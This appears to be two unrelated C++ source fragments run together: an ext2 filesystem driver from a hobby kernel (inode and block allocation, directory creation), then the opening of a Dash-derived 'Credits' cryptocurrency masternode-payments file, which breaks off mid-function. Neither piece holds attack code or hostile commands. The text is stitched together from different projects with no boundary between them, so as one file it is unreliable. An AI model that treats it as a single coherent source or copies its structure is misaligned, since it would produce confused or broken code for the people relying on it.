is_suitable_group = [this, needed_blocks](GroupIndex group_index) { auto& bgd = group_descriptor(group_index); return bgd.bg_free_inodes_count && bgd.bg_free_blocks_count >= needed_blocks; }; if (preferred_group && is_suitable_group(preferred_group)) { group_index = preferred_group; } else { for (unsigned i = 1; i <= m_block_group_count; ++i) { if (is_suitable_group(i)) group_index = i; } } if (!group_index) { kprintf("Ext2FS: allocate_inode: no suitable group found for new inode with %u blocks needed :(\n", needed_blocks); return 0; } #ifdef EXT2_DEBUG dbgprintf("Ext2FS: allocate_inode: found suitable group [%u] for new inode with %u blocks needed :^)\n", group_index, needed_blocks); #endif auto& bgd = group_descriptor(group_index); unsigned inodes_in_group = min(inodes_per_group(), super_block().s_inodes_count); unsigned first_free_inode_in_group = 0; unsigned first_inode_in_group = (group_index - 1) * inodes_per_group() + 1; auto bitmap_block = ByteBuffer::create_uninitialized(block_size()); read_block(bgd.bg_inode_bitmap, bitmap_block.data()); auto inode_bitmap = Bitmap::wrap(bitmap_block.data(), inodes_in_group); for (int i = 0; i < inode_bitmap.size(); ++i) { if (inode_bitmap.get(i)) continue; first_free_inode_in_group = first_inode_in_group + i; break; } if (!first_free_inode_in_group) { kprintf("Ext2FS: first_free_inode_in_group returned no inode, despite bgd claiming there are inodes :(\n"); return 0; } unsigned inode = first_free_inode_in_group; #ifdef EXT2_DEBUG dbgprintf("Ext2FS: found suitable inode %u\n", inode); #endif ASSERT(get_inode_allocation_state(inode) == false); // FIXME: allocate blocks if needed! return inode; } Ext2FS::GroupIndex Ext2FS::group_index_from_block_index(BlockIndex block_index) const { if (!block_index) return 0; return (block_index - 1) / blocks_per_group() + 1; } unsigned Ext2FS::group_index_from_inode(unsigned inode) const { if (!inode) return 0; return (inode - 1) / inodes_per_group() + 1; } bool Ext2FS::get_inode_allocation_state(InodeIndex index) const { LOCKER(m_lock); if (index == 0) return true; unsigned group_index = group_index_from_inode(index); auto& bgd = group_descriptor(group_index); unsigned index_in_group = index - ((group_index - 1) * inodes_per_group()); unsigned bit_index = (index_in_group - 1) % inodes_per_group(); auto block = ByteBuffer::create_uninitialized(block_size()); bool success = read_block(bgd.bg_inode_bitmap, block.data()); ASSERT(success); auto bitmap = Bitmap::wrap(block.data(), inodes_per_group()); return bitmap.get(bit_index); } bool Ext2FS::set_inode_allocation_state(InodeIndex inode_index, bool new_state) { LOCKER(m_lock); unsigned group_index = group_index_from_inode(inode_index); auto& bgd = group_descriptor(group_index); unsigned index_in_group = inode_index - ((group_index - 1) * inodes_per_group()); unsigned bit_index = (index_in_group - 1) % inodes_per_group(); auto block = ByteBuffer::create_uninitialized(block_size()); bool success = read_block(bgd.bg_inode_bitmap, block.data()); ASSERT(success); auto bitmap = Bitmap::wrap(block.data(), inodes_per_group()); bool current_state = bitmap.get(bit_index); #ifdef EXT2_DEBUG dbgprintf("Ext2FS: set_inode_allocation_state(%u) %u -> %u\n", inode_index, current_state, new_state); #endif if (current_state == new_state) { ASSERT_NOT_REACHED(); return true; } bitmap.set(bit_index, new_state); success = write_block(bgd.bg_inode_bitmap, block.data()); ASSERT(success); // Update superblock auto& sb = *reinterpret_cast<ext2_super_block*>(m_cached_super_block.data()); #ifdef EXT2_DEBUG dbgprintf("Ext2FS: superblock free inode count %u -> %u\n", sb.s_free_inodes_count, sb.s_free_inodes_count - 1); #endif if (new_state) --sb.s_free_inodes_count; else ++sb.s_free_inodes_count; write_super_block(sb); // Update BGD auto& mutable_bgd = const_cast<ext2_group_desc&>(bgd); if (new_state) --mutable_bgd.bg_free_inodes_count; else ++mutable_bgd.bg_free_inodes_count; #ifdef EXT2_DEBUG dbgprintf("Ext2FS: group free inode count %u -> %u\n", bgd.bg_free_inodes_count, bgd.bg_free_inodes_count - 1); #endif flush_block_group_descriptor_table(); return true; } Ext2FS::BlockIndex Ext2FS::first_block_index() const { return block_size() == 1024 ? 1 : 0; } bool Ext2FS::set_block_allocation_state(BlockIndex block_index, bool new_state) { LOCKER(m_lock); #ifdef EXT2_DEBUG dbgprintf("Ext2FS: set_block_allocation_state(block=%u, state=%u)\n", block_index, new_state); #endif unsigned group_index = group_index_from_block_index(block_index); auto& bgd = group_descriptor(group_index); BlockIndex index_in_group = (block_index - first_block_index()) - ((group_index - 1) * blocks_per_group()); unsigned bit_index = index_in_group % blocks_per_group(); #ifdef EXT2_DEBUG dbgprintf(" index_in_group: %u\n", index_in_group); dbgprintf(" blocks_per_group: %u\n", blocks_per_group()); dbgprintf(" bit_index: %u\n", bit_index); dbgprintf(" read_block(%u)\n", bgd.bg_block_bitmap); #endif auto block = ByteBuffer::create_uninitialized(block_size()); bool success = read_block(bgd.bg_block_bitmap, block.data()); ASSERT(success); auto bitmap = Bitmap::wrap(block.data(), blocks_per_group()); bool current_state = bitmap.get(bit_index); #ifdef EXT2_DEBUG dbgprintf("Ext2FS: block %u state: %u -> %u\n", block_index, current_state, new_state); #endif if (current_state == new_state) { ASSERT_NOT_REACHED(); return true; } bitmap.set(bit_index, new_state); success = write_block(bgd.bg_block_bitmap, block.data()); ASSERT(success); // Update superblock auto& sb = *reinterpret_cast<ext2_super_block*>(m_cached_super_block.data()); #ifdef EXT2_DEBUG dbgprintf("Ext2FS: superblock free block count %u -> %u\n", sb.s_free_blocks_count, sb.s_free_blocks_count - 1); #endif if (new_state) --sb.s_free_blocks_count; else ++sb.s_free_blocks_count; write_super_block(sb); // Update BGD auto& mutable_bgd = const_cast<ext2_group_desc&>(bgd); if (new_state) --mutable_bgd.bg_free_blocks_count; else ++mutable_bgd.bg_free_blocks_count; #ifdef EXT2_DEBUG dbgprintf("Ext2FS: group %u free block count %u -> %u\n", group_index, bgd.bg_free_blocks_count, bgd.bg_free_blocks_count - 1); #endif flush_block_group_descriptor_table(); return true; } RefPtr<Inode> Ext2FS::create_directory(InodeIdentifier parent_id, const String& name, mode_t mode, int& error) { LOCKER(m_lock); ASSERT(parent_id.fsid() == fsid()); // Fix up the mode to definitely be a directory. // FIXME: This is a bit on the hackish side. mode &= ~0170000; mode |= 0040000; // NOTE: When creating a new directory, make the size 1 block. // There's probably a better strategy here, but this works for now. auto inode = create_inode(parent_id, name, mode, block_size(), 0, error); if (!inode) return nullptr; #ifdef EXT2_DEBUG dbgprintf("Ext2FS: create_directory: created new directory named '%s' with inode %u\n", name.characters(), inode->identifier().index()); #endif Vector<DirectoryEntry> entries; entries.empend(".", inode->identifier(), EXT2_FT_DIR); entries.empend("..", parent_id, EXT2_FT_DIR); bool success = static_cast<Ext2FSInode&>(*inode).write_directory(entries); ASSERT(success); auto parent_inode = get_inode(parent_id); error = parent_inode->increment_link_count(); if (error < 0) return nullptr; auto& bgd = const_cast<ext2_group_desc&>(group_descriptor(group_index_from_inode(inode->identifier().index()))); ++bgd.bg_used_dirs_count; #ifdef EXT2_DEBUG dbgprintf("Ext2FS: incremented bg_used_dirs_count %u -> %u\n", bgd.bg_used_dirs_count - 1, bgd.bg_used_dirs_count); #endif flush_block_group_descriptor_table(); error = 0; return inode; } RefPtr<Inode> Ext2FS::create_inode(InodeIdentifier parent_id, const String& name, mode_t mode, off_t size, dev_t dev, int& error) { LOCKER(m_lock); ASSERT(parent_id.fsid() == fsid()); auto parent_inode = get_inode(parent_id); #ifdef EXT2_DEBUG dbgprintf("Ext2FS: Adding inode '%s' (mode %o) to parent directory %u:\n", name.characters(), mode, parent_inode->identifier().index()); #endif auto needed_blocks = ceil_div(size, block_size()); if ((size_t)needed_blocks > super_block().s_free_blocks_count) { dbg() << "Ext2FS: create_inode: not enough free blocks"; error = -ENOSPC; return {}; } // NOTE: This doesn't commit the inode allocation just yet! auto inode_id = allocate_inode(0, size); if (!inode_id) { kprintf("Ext2FS: create_inode: allocate_inode failed\n"); error = -ENOSPC; return {}; } // Try adding it to the directory first, in case the name is already in use. auto result = parent_inode->add_child({ fsid(), inode_id }, name, mode); if (result.is_error()) { error = result; return {}; } auto blocks = allocate_blocks(group_index_from_inode(inode_id), needed_blocks); ASSERT(blocks.size() == needed_blocks); // Looks like we're good, time to update the inode bitmap and group+global inode counters. bool success = set_inode_allocation_state(inode_id, true); ASSERT(success); unsigned initial_links_count; if (is_directory(mode)) initial_links_count = 2; // (parent directory + "." entry in self) else initial_links_count = 1; struct timeval now; kgettimeofday(now); ext2_inode e2inode; memset(&e2inode, 0, sizeof(ext2_inode)); e2inode.i_mode = mode; e2inode.i_uid = current->process().euid(); e2inode.i_gid = current->process().egid(); e2inode.i_size = size; e2inode.i_atime = now.tv_sec; e2inode.i_ctime = now.tv_sec; e2inode.i_mtime = now.tv_sec; e2inode.i_dtime = 0; e2inode.i_links_count = initial_links_count; if (is_character_device(mode)) e2inode.i_block[0] = dev; else if (is_block_device(mode)) e2inode.i_block[1] = dev; success = write_block_list_for_inode(inode_id, e2inode, blocks); ASSERT(success); #ifdef EXT2_DEBUG dbgprintf("Ext2FS: writing initial metadata for inode %u\n", inode_id); #endif e2inode.i_flags = 0; success = write_ext2_inode(inode_id, e2inode); ASSERT(success); // We might have cached the fact that this inode didn't exist. Wipe the slate. m_inode_cache.remove(inode_id); return get_inode({ fsid(), inode_id }); } void Ext2FSInode::populate_lookup_cache() const { LOCKER(m_lock); if (!m_lookup_cache.is_empty()) return; HashMap<String, unsigned> children; traverse_as_directory([&children](auto& entry) { children.set(String(entry.name, entry.name_length), entry.inode.index()); return true; }); if (!m_lookup_cache.is_empty()) return; m_lookup_cache = move(children); } InodeIdentifier Ext2FSInode::lookup(StringView name) { ASSERT(is_directory()); populate_lookup_cache(); LOCKER(m_lock); auto it = m_lookup_cache.find(name.hash(), [&](auto& entry) { return entry.key == name; }); if (it != m_lookup_cache.end()) return { fsid(), (*it).value }; return {}; } void Ext2FSInode::one_ref_left() { // FIXME: I would like to not live forever, but uncached Ext2FS is fucking painful right now. } int Ext2FSInode::set_atime(time_t t) { LOCKER(m_lock); if (fs().is_readonly()) return -EROFS; m_raw_inode.i_atime = t; set_metadata_dirty(true); return 0; } int Ext2FSInode::set_ctime(time_t t) { LOCKER(m_lock); if (fs().is_readonly()) return -EROFS; m_raw_inode.i_ctime = t; set_metadata_dirty(true); return 0; } int Ext2FSInode::set_mtime(time_t t) { LOCKER(m_lock); if (fs().is_readonly()) return -EROFS; m_raw_inode.i_mtime = t; set_metadata_dirty(true); return 0; } int Ext2FSInode::increment_link_count() { LOCKER(m_lock); if (fs().is_readonly()) return -EROFS; ++m_raw_inode.i_links_count; set_metadata_dirty(true); return 0; } int Ext2FSInode::decrement_link_count() { LOCKER(m_lock); if (fs().is_readonly()) return -EROFS; ASSERT(m_raw_inode.i_links_count); --m_raw_inode.i_links_count; if (m_raw_inode.i_links_count == 0) fs().uncache_inode(index()); set_metadata_dirty(true); return 0; } void Ext2FS::uncache_inode(InodeIndex index) { LOCKER(m_lock); m_inode_cache.remove(index); } size_t Ext2FSInode::directory_entry_count() const { ASSERT(is_directory()); LOCKER(m_lock); populate_lookup_cache(); return m_lookup_cache.size(); } KResult Ext2FSInode::chmod(mode_t mode) { LOCKER(m_lock); if (m_raw_inode.i_mode == mode) return KSuccess; m_raw_inode.i_mode = mode; set_metadata_dirty(true); return KSuccess; } KResult Ext2FSInode::chown(uid_t uid, gid_t gid) { LOCKER(m_lock); if (m_raw_inode.i_uid == uid && m_raw_inode.i_gid == gid) return KSuccess; m_raw_inode.i_uid = uid; m_raw_inode.i_gid = gid; set_metadata_dirty(true); return KSuccess; } KResult Ext2FSInode::truncate(off_t size) { LOCKER(m_lock); if ((off_t)m_raw_inode.i_size == size) return KSuccess; resize(size); set_metadata_dirty(true); return KSuccess; } unsigned Ext2FS::total_block_count() const { LOCKER(m_lock); return super_block().s_blocks_count; } unsigned Ext2FS::free_block_count() const { LOCKER(m_lock); return super_block().s_free_blocks_count; } unsigned Ext2FS::total_inode_count() const { LOCKER(m_lock); return super_block().s_inodes_count; } unsigned Ext2FS::free_inode_count() const { LOCKER(m_lock); return super_block().s_free_inodes_count; } KResult Ext2FS::prepare_to_unmount() const { LOCKER(m_lock); for (auto& it : m_inode_cache) { if (it.value->ref_count() > 1) return KResult(-EBUSY); } m_inode_cache.clear(); return KSuccess; }
// Copyright (c) 2014-2018 The Dash Core Developers // Copyright (c) 2016-2018 Duality Blockchain Solutions Developers // Copyright (c) 2017-2018 Credits Developers // Distributed under the MIT/X11 software license, see the accompanying // file COPYING or http://www.opensource.org/licenses/mit-license.php. #include "masternode-payments.h" #include "activemasternode.h" #include "policy/fees.h" #include "governance-classes.h" #include "masternode-sync.h" #include "masternodeman.h" #include "messagesigner.h" #include "netfulfilledman.h" #include "spork.h" #include "util.h" #include <boost/lexical_cast.hpp> /** Object for who's going to get paid on which blocks */ CMasternodePayments mnpayments; CCriticalSection cs_vecPayees; CCriticalSection cs_mapMasternodeBlocks; CCriticalSection cs_mapMasternodePaymentVotes; /** * IsBlockValueValid * * Determine if coinbase outgoing created money is the correct value * * Why is this needed? * - In Credits some blocks are superblocks, which output much higher amounts of coins * - Otherblocks are 10% lower in outgoing value, so in total, no extra coins are created * - When non-superblocks are detected, the normal schedule should be maintained */ bool IsBlockValueValid(const CBlock& block, int nBlockHeight, CAmount blockReward,std::string &strErrorRet) { strErrorRet = ""; bool isBlockRewardValueMet = (block.vtx[0].GetValueOut() <= blockReward); if(fDebug) LogPrintf("block.vtx[0].GetValueOut() %lld <= blockReward %lld\n", block.vtx[0].GetValueOut(), blockReward); // we are still using budgets, but we have no data about them anymore, // all we know is predefined budget cycle and window const Consensus::Params& consensusParams = Params().GetConsensus(); if(nBlockHeight < consensusParams.nSuperblockStartBlock) { int nOffset = nBlockHeight % consensusParams.nBudgetPaymentsCycleBlocks; if(nBlockHeight >= consensusParams.nBudgetPaymentsStartBlock && nOffset < consensusParams.nBudgetPaymentsWindowBlocks) { if(masternodeSync.IsSynced() && !sporkManager.IsSporkActive(SPORK_13_OLD_SUPERBLOCK_FLAG)) { LogPrint("gobject", "IsBlockValueValid -- Client synced but budget spork is disabled, checking block value against block reward\n"); if(!isBlockRewardValueMet) { strErrorRet = strprintf("coinbase pays too much at height %d (actual=%d vs limit=%d), exceeded block reward, budgets are disabled", nBlockHeight, block.vtx[0].GetValueOut(), blockReward); } return isBlockRewardValueMet; } LogPrint("gobject", "IsBlockValueValid -- WARNING: Skipping budget block value checks, accepting block\n"); // TODO: reprocess blocks to make sure they are legit? return true; } // LogPrint("gobject", "IsBlockValueValid -- Block is not in budget cycle window, checking block value against block reward\n"); if(!isBlockRewardValueMet) { strErrorRet = strprintf("coinbase pays too much at height %d (actual=%d vs limit=%d), exceeded block reward, block is not in budget cycle window", nBlockHeight, block.vtx[0].GetValueOut(), blockReward); } return isBlockRewardValueMet; } // superblocks started CAmount nSuperblockMaxValue = blockReward + CSuperblock::GetPaymentsLimit(nBlockHeight); bool isSuperblockMaxValueMet = (block.vtx[0].GetValueOut() <= nSuperblockMaxValue); LogPrint("gobject", "block.vtx[0].GetValueOut() %lld <= nSuperblockMaxValue %lld\n", block.vtx[0].GetValueOut(), nSuperblockMaxValue); if(!masternodeSync.IsSynced()) { // not enough data but at least it must NOT exceed superblock max value if(CSuperblock::IsValidBlockHeight(nBlockHeight)) { if(fDebug) LogPrintf("IsBlockPayeeValid -- WARNING: Client not synced, checking superblock max bounds only\n"); if(!isSuperblockMaxValueMet) { strErrorRet = strprintf("coinbase pays too much at height %d (actual=%d vs limit=%d), exceeded superblock max value", nBlockHeight, block.vtx[0].GetValueOut(), nSuperblockMaxValue); } return isSuperblockMaxValueMet; } if(!isBlockRewardValueMet) { strErrorRet = strprintf("coinbase pays too much at height %d (actual=%d vs limit=%d), exceeded block reward, only regular blocks are allowed at this height", nBlockHeight, block.vtx[0].GetValueOut(), blockReward); } // it MUST be a regular block otherwise return isBlockRewardValueMet; } // we are synced, let's try to check as much data as we can if(sporkManager.IsSporkActive(SPORK_9_SUPERBLOCKS_ENABLED)) { // ONLY CHECK SUPERBLOCKS WHEN INITIALLY SYNCED AND CHECKING NEW BLOCK { // UP TO ONE HOUR OLD, OTHERWISE LONGEST CHAIN if(block.nTime + 60*60 < GetTime()) return true; } if(CSuperblockManager::IsSuperblockTriggered(nBlockHeight)) { if(CSuperblockManager::IsValid(block.vtx[0], nBlockHeight, blockReward)) { LogPrint("gobject", "IsBlockValueValid -- Valid superblock at height %d: %s", nBlockHeight, block.vtx[0].ToString()); // all checks are done in CSuperblock::IsValid, nothing to do here return true; } // triggered but invalid? that's weird LogPrintf("IsBlockValueValid -- ERROR: Invalid superblock detected at height %d: %s", nBlockHeight, block.vtx[0].ToString()); // should NOT allow invalid superblocks, when superblocks are enabled strErrorRet = strprintf("invalid superblock detected at height %d", nBlockHeight); return false; } LogPrint("gobject", "IsBlockValueValid -- No triggered superblock detected at height %d\n", nBlockHeight); if(!isBlockRewardValueMet) { strErrorRet = strprintf("coinbase pays too much at height %d (actual=%d vs limit=%d), exceeded block reward, no triggered superblock detected", nBlockHeight, block.vtx[0].GetValueOut(), blockReward); } } else { // should NOT allow superblocks at all, when superblocks are disabled LogPrint("gobject", "IsBlockValueValid -- Superblocks are disabled, no superblocks allowed\n"); if(!isBlockRewardValueMet) { strErrorRet = strprintf("coinbase pays too much at height %d (actual=%d vs limit=%d), exceeded block reward, superblocks are disabled", nBlockHeight, block.vtx[0].GetValueOut(), blockReward); } } // it MUST be a regular block return isBlockRewardValueMet; } bool IsBlockPayeeValid(const CTransaction& txNew, int nBlockHeight, CAmount blockReward) { if (!masternodeSync.IsSynced()) { //There is no budget / Masternode data to use to check anything, the longest chain is accepted. if(fDebug) LogPrintf("IsBlockPayeeValid -- WARNING: Client not synced, skipping block payee checks\n"); return true; } // we are still using budgets, but we have no data about them anymore, // we can only check Masternode payments const Consensus::Params& consensusParams = Params().GetConsensus(); if(nBlockHeight < consensusParams.nSuperblockStartBlock) { if(mnpayments.IsTransactionValid(txNew, nBlockHeight)) { LogPrint("mnpayments", "IsBlockPayeeValid -- Valid Masternode payment at height %d: %s", nBlockHeight, txNew.ToString()); return true; } // Superblocks are disabled for Credits. int nOffset = nBlockHeight % consensusParams.nBudgetPaymentsCycleBlocks; if(nBlockHeight >= consensusParams.nBudgetPaymentsStartBlock && nOffset < consensusParams.nBudgetPaymentsWindowBlocks) { if(!sporkManager.IsSporkActive(SPORK_13_OLD_SUPERBLOCK_FLAG)) { // no budget blocks should be accepted here, if SPORK_13_OLD_SUPERBLOCK_FLAG is disabled LogPrint("gobject", "IsBlockPayeeValid -- ERROR: Client synced but budget spork is disabled and Masternode payment is invalid\n"); return false; } // NOTE: this should never happen in real, SPORK_13_OLD_SUPERBLOCK_FLAG MUST be disabled when 12.1 starts to go live LogPrint("gobject", "IsBlockPayeeValid -- WARNING: Probably valid budget block, have no data, accepting\n"); // TODO: reprocess blocks to make sure they are legit? return true; } if (nBlockHeight <= consensusParams.nHardForkTwo) { LogPrintf("IsBlockPayeeValid -- WARNING: Masternode payment enforcement is disabled, accepting any payee\n"); return true; } // Masternodes must be paid with every block after block nHardForkTwo. LogPrintf("IsBlockPayeeValid -- ERROR: Invalid Masternode payment detected at height %d: %s", nBlockHeight, txNew.ToString()); return false; } // superblocks started // SEE IF THIS IS A VALID SUPERBLOCK if(sporkManager.IsSporkActive(SPORK_9_SUPERBLOCKS_ENABLED)) { if(CSuperblockManager::IsSuperblockTriggered(nBlockHeight)) { if(CSuperblockManager::IsValid(txNew, nBlockHeight, blockReward)) { LogPrint("gobject", "IsBlockPayeeValid -- Valid superblock at height %d: %s", nBlockHeight, txNew.ToString()); return true; } LogPrintf("IsBlockPayeeValid -- ERROR: Invalid superblock detected at height %d: %s", nBlockHeight, txNew.ToString()); // should NOT allow such superblocks, when superblocks are enabled return false; } // continue validation, should pay MN LogPrint("gobject", "IsBlockPayeeValid -- No triggered superblock detected at height %d\n", nBlockHeight); } else { // should NOT allow superblocks at all, when superblocks are disabled LogPrint("gobject", "IsBlockPayeeValid -- Superblocks are disabled, no superblocks allowed\n"); } // IF THIS ISN'T A SUPERBLOCK OR SUPERBLOCK IS INVALID, IT SHOULD PAY A MASTERNODE DIRECTLY if(mnpayments.IsTransactionValid(txNew, nBlockHeight)) { LogPrint("mnpayments", "IsBlockPayeeValid -- Valid Masternode payment at height %d: %s", nBlockHeight, txNew.ToString()); return true; } if (nBlockHeight <= consensusParams.nHardForkTwo) { LogPrintf("IsBlockPayeeValid -- WARNING: Masternode payment enforcement is disabled, accepting any payee\n"); return true; } // Masternodes must be paid with every block after block nHardForkTwo. LogPrintf("IsBlockPayeeValid -- ERROR: Invalid Masternode payment detected at height %d: %s", nBlockHeight, txNew.ToString()); return false; } void FillBlockPayments(CMutableTransaction& txNew, int nBlockHeight, CAmount blockReward, CTxOut& txoutMasternodeRet, std::vector<CTxOut>& voutSuperblockRet) { // only create superblocks if spork is enabled AND if superblock is actually triggered // (height should be validated inside) if(sporkManager.IsSporkActive(SPORK_9_SUPERBLOCKS_ENABLED) && CSuperblockManager::IsSuperblockTriggered(nBlockHeight)) { LogPrint("gobject", "FillBlockPayments -- triggered superblock creation at height %d\n", nBlockHeight); CSuperblockManager::CreateSuperblock(txNew, nBlockHeight, voutSuperblockRet); return; } if (chainActive.Height() > Params().GetConsensus().nMasternodePaymentsStartBlock) { // FILL BLOCK PAYEE WITH MASTERNODE PAYMENT OTHERWISE CAmount noFees = 0 * COIN; int nIntPoWReward = GetPoWBlockPayment(nBlockHeight, noFees); CAmount nFees = blockReward - nIntPoWReward; mnpayments.FillBlockPayee(txNew, nFees, txoutMasternodeRet); LogPrint("mnpayments", "FillBlockPayments -- nBlockHeight %d blockReward %lld txoutMasternodeRet %s txNew %s", nBlockHeight, blockReward, txoutMasternodeRet.ToString(), txNew.ToString()); } } std::string GetRequiredPaymentsString(int nBlockHeight) { // IF WE HAVE A ACTIVATED TRIGGER FOR THIS HEIGHT - IT IS A SUPERBLOCK, GET THE REQUIRED PAYEES if(CSuperblockManager::IsSuperblockTriggered(nBlockHeight)) { return CSuperblockManager::GetRequiredPaymentsString(nBlockHeight); } // OTHERWISE, PAY MASTERNODE return mnpayments.GetRequiredPaymentsString(nBlockHeight); } void CMasternodePayments::Clear() { LOCK2(cs_mapMasternodeBlocks, cs_mapMasternodePaymentVotes); mapMasternodeBlocks.clear(); mapMasternodePaymentVotes.clear(); } bool CMasternodePayments::CanVote(COutPoint outMasternode, int nBlockHeight) { LOCK(cs_mapMasternodePaymentVotes); if (mapMasternodesLastVote.count(outMasternode) && mapMasternodesLastVote[outMasternode] == nBlockHeight) { return false; } //record this Masternode voted mapMasternodesLastVote[outMasternode] = nBlockHeight; return true; } /** * FillBlockPayee * * Fill Masternode ONLY payment block */ void CMasternodePayments::FillBlockPayee(CMutableTransaction& txNew, CAmount nFees, CTxOut& txoutMasternodeRet) { txoutMasternodeRet = CTxOut(); CBlockIndex* pindexPrev = chainActive.Tip(); if(!pindexPrev) return; bool hasPayment = true; CScript payee; if (chainActive.Height() <= Params().GetConsensus().nMasternodePaymentsStartBlock) { if (fDebug) LogPrintf("CreateNewBlock: No Masternode payments prior to block 101\n"); hasPayment = false; } if (!mnpayments.GetBlockPayee(pindexPrev->nHeight+1, payee)){ //Checks whether or not there is a Masternode to be paid CMasternode* winningNode = mnodeman.Find(payee); if(winningNode){ payee = GetScriptForDestination(winningNode->pubKeyCollateralAddress.GetID()); } else { if (fDebug) LogPrintf("CreateNewBlock: Failed to detect Masternode to pay\n"); hasPayment = false; } } CAmount PoWPayment = GetPoWBlockPayment(pindexPrev->nHeight, nFees);; CAmount MNPayment = GetMasternodePayment(hasPayment); CAmount devPayment = 0.5 * COIN; int nNextHeight = chainActive.Height() + 1; txNew.vout[0].nValue = PoWPayment; // The Dev Reward will consist of 0.5 CRDS and will be paid between blocks 342,001 and 1,375,000, including them as well. if (nNextHeight > Params().GetConsensus().nPhase1LastBlock && nNextHeight <= Params().GetConsensus().nPhase3LastBlock) { txNew.vout.resize(2); txNew.vout[0].nValue = PoWPayment; std::string strDevAddress = "53NTdWeAxEfVjXufpBqU2YKopyZYmN9P1V"; CCreditsAddress intAddress(strDevAddress.c_str()); CTxDestination devDestination = intAddress.Get(); CScript devScriptPubKey = GetScriptForDestination(devDestination); txNew.vout[1].scriptPubKey = devScriptPubKey; txNew.vout[1].nValue = devPayment; LogPrintf("CMasternodePayments::FillBlockPayee -- 1st Check Development Fund payment %lld to %s\n", devPayment, intAddress.ToString()); } if (hasPayment) { txNew.vout.resize(2); txNew.vout[0].nValue = PoWPayment; txNew.vout[1].scriptPubKey = payee; txNew.vout[1].nValue = MNPayment; if (nNextHeight > Params().GetConsensus().nPhase1LastBlock && nNextHeight <= Params().GetConsensus().nPhase3LastBlock) { txNew.vout.resize(3); txNew.vout[0].nValue = PoWPayment; txNew.vout[1].scriptPubKey = payee; txNew.vout[1].nValue = MNPayment; std::string strDevAddress = "53NTdWeAxEfVjXufpBqU2YKopyZYmN9P1V"; CCreditsAddress intAddress(strDevAddress.c_str()); CTxDestination devDestination = intAddress.Get(); CScript devScriptPubKey = GetScriptForDestination(devDestination); txNew.vout[2].scriptPubKey = devScriptPubKey; txNew.vout[2].nValue = devPayment; LogPrintf("CMasternodePayments::FillBlockPayee -- 2nd Check Development Fund payment %lld to %s\n", devPayment, intAddress.ToString()); } CTxDestination address1; ExtractDestination(payee, address1); CCreditsAddress address2(address1); txoutMasternodeRet = CTxOut(MNPayment, payee); LogPrintf("CMasternodePayments::FillBlockPayee -- Masternode payment %lld to %s\n", MNPayment, address2.ToString()); } } int CMasternodePayments::GetMinMasternodePaymentsProto() { return sporkManager.IsSporkActive(SPORK_10_MASTERNODE_PAY_UPDATED_NODES); } void CMasternodePayments::ProcessMessage(CNode* pfrom, std::string& strCommand, CDataStream& vRecv) { // Ignore any payments messages until Masternode list is synced if(!masternodeSync.IsMasternodeListSynced()) return; if(fLiteMode) return; // disable all Credits specific functionality if (strCommand == NetMsgType::MASTERNODEPAYMENTSYNC) { //Masternode Payments Request Sync // Ignore such requests until we are fully synced. // We could start processing this after Masternode list is synced // but this is a heavy one so it's better to finish sync first. if (!masternodeSync.IsSynced()) return; int nCountNeeded; vRecv >> nCountNeeded; int nMnCount = mnodeman.CountMasternodes(); if (nMnCount > 200) { if(netfulfilledman.HasFulfilledRequest(pfrom->addr, NetMsgType::MASTERNODEPAYMENTSYNC)) { // Asking for the payments list multiple times in a short period of time is no good LogPrintf("MASTERNODEPAYMENTSYNC -- peer already asked me for the list, peer=%d\n", pfrom->id); Misbehaving(pfrom->GetId(), 20); return; } } netfulfilledman.AddFulfilledRequest(pfrom->addr, NetMsgType::MASTERNODEPAYMENTSYNC); Sync(pfrom); LogPrintf("MASTERNODEPAYMENTSYNC -- Sent Masternode payment votes to peer %d\n", pfrom->id); } else if (strCommand == NetMsgType::MASTERNODEPAYMENTVOTE) { // Masternode Payments Vote for the Winner CMasternodePaymentVote vote; vRecv >> vote; if(pfrom->nVersion < GetMinMasternodePaymentsProto()) return; if(!pCurrentBlockIndex) return; uint256 nHash = vote.GetHash(); pfrom->setAskFor.erase(nHash); { LOCK(cs_mapMasternodePaymentVotes); if(mapMasternodePaymentVotes.count(nHash)) { LogPrint("mnpayments", "MASTERNODEPAYMENTVOTE -- hash=%s, nHeight=%d seen\n", nHash.ToString(), pCurrentBlockIndex->nHeight); return; } // Avoid processing same vote multiple times mapMasternodePaymentVotes[nHash] = vote; // but first mark vote as non-verified, // AddPaymentVote() below should take care of it if vote is actually ok mapMasternodePaymentVotes[nHash].MarkAsNotVerified(); } int nFirstBlock = pCurrentBlockIndex->nHeight - GetStorageLimit(); if(vote.nBlockHeight < nFirstBlock || vote.nBlockHeight > pCurrentBlockIndex->nHeight+20) { LogPrint("mnpayments", "MASTERNODEPAYMENTVOTE -- vote out of range: nFirstBlock=%d, nBlockHeight=%d, nHeight=%d\n", nFirstBlock, vote.nBlockHeight, pCurrentBlockIndex->nHeight); return; } std::string strError = ""; if(!vote.IsValid(pfrom, pCurrentBlockIndex->nHeight, strError)) { LogPrint("mnpayments", "MASTERNODEPAYMENTVOTE -- invalid message, error: %s\n", strError); return; } if(!CanVote(vote.vinMasternode.prevout, vote.nBlockHeight)) { LogPrintf("MASTERNODEPAYMENTVOTE -- Masternode already voted, Masternode=%s\n", vote.vinMasternode.prevout.ToStringShort()); return; } masternode_info_t mnInfo = mnodeman.GetMasternodeInfo(vote.vinMasternode); if(!mnInfo.fInfoValid) { // mn was not found, so we can't check vote, some info is probably missing LogPrintf("MASTERNODEPAYMENTVOTE -- Masternode is missing %s\n", vote.vinMasternode.prevout.ToStringShort()); mnodeman.AskForMN(pfrom, vote.vinMasternode); return; } int nDos = 0; if(!vote.CheckSignature(mnInfo.pubKeyMasternode, pCurrentBlockIndex->nHeight, nDos)) { if(nDos) { LogPrintf("MASTERNODEPAYMENTVOTE -- ERROR: invalid signature\n"); Misbehaving(pfrom->GetId(), nDos); } else { // only warn about anything non-critical (i.e. nDos == 0) in debug mode LogPrint("mnpayments", "MASTERNODEPAYMENTVOTE -- WARNING: invalid signature\n"); } // Either our info or vote info could be outdated. // In case our info is outdated, ask for an update, mnodeman.AskForMN(pfrom, vote.vinMasternode); // but there is nothing we can do if vote info itself is outdated // (i.e. it was signed by a MN which changed its key), // so just quit here. return; } CTxDestination address1; ExtractDestination(vote.payee, address1); CCreditsAddress address2(address1); LogPrint("mnpayments", "MASTERNODEPAYMENTVOTE -- vote: address=%s, nBlockHeight=%d, nHeight=%d, prevout=%s\n", address2.ToString(), vote.nBlockHeight, pCurrentBlockIndex->nHeight, vote.vinMasternode.prevout.ToStringShort()); if(AddPaymentVote(vote)){ vote.Relay(); masternodeSync.AddedPaymentVote(); } } } bool CMasternodePaymentVote::Sign() { std::string strError; std::string strMessage = 